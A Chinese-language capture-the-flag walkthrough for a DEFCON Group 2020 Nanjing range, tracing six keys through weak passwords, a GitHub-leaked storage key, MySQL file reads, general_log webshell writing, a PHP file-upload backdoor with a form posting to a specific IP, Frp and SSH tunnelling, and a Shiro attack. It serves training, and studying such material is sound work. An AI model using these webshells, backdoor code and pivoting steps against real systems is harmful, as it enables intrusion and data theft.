墨者学院靶场——DEFCON Group 2020 南京站 靶场解题详解

墨者学院靶场——DEFCON Group 2020 南京站 靶场解题详解

Scroll Down

题目是我帮着出的,思路我也提供下。但是题目的方向不是我弄的~

刚好整理电脑的时候看到有这个文档,就放出来。

思路:
打开后发现页面如下:

image.png
测试弱口令:
发现 test/123456成功登陆
image.png
登陆后页面底部发现KEY:
image.png

提示权限不足
image.png

一顿操作没发现可利用点后,在Github找到疑似系统的oss key值。
image.png

登陆OBS对象存储云,发现第二个KEY
image.png

找到Mysql的账号密码
image.png

成功连接数据库。
image.png
在数据库中找到第三个KEY
image.png

发现Mysql的secure_file_priv的值为空。
image.png

利用load_file函数读取文件,读取到nginx默认配置文件并获取到网站物理路径。

1 create table user(cmd text);
2 insert into user(cmd) values (load_file('/etc/nginx/nginx.conf'));
3 select * from user;

image.png

image.png

利用Mysql的log文件写入webshell

show variables like '%general%';             #查看配置
set global general_log = on;                 #开启general log模式
set global general_log_file = '/dcnl/db/html/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             #写入shell
set global general_log=off;                  #关闭general log模式

这里可以先写入一个上传小马,再利用小马写入冰蝎的Webshell。

上传小马:

<?php
if ($_POST)
{
$f=fopen($_POST["f"],"w");
if(fwrite($f,$_POST["c"]))
echo "<font color=red>OK!</font>";
else
echo "<font color=blue>Error!</font>";
}
?>

image.png

再构造一个表单来上传Webshell
html文件代码

<title> PHP小马</title>
<form action="http://139.9.154.66/kk.php" method="post">
<input type="text" size=61 name="f" value=''><br><br>
<textarea name="c" cols=60 rows=15></textarea><br>
<input type="submit" id="b" value="Create"><br>
</form>
<p></p>

image.png

成功Getshell
image.png

在根目录找到第四个KEY。
image.png

找到内网IP(192.168.0.37)登陆,怀疑是运维人员

image.png

利用Frp反向代理进入内网,发现192.168.0.37的8080端口存在某系统。
image.png

根据经验,利用shiro攻击。
image.png

在根目录找到第五个KEY

image.png

利用cat /root/.ssh/known_hosts找到10段连接信息

image.png

添加一个普通用户
image.png

image.png

SSH登陆上去
image.png

利用SSH建立Socks5隧道

image.png

成功代理进入10网段:
image.png

发现Phpmyadmin目录
利用root/root弱口令进入,获取第六个KEY
image.png

至此获取到6个KEY完成靶场。我觉得整体下来还是比较有趣,主要是得想到Github的信息收集这一块。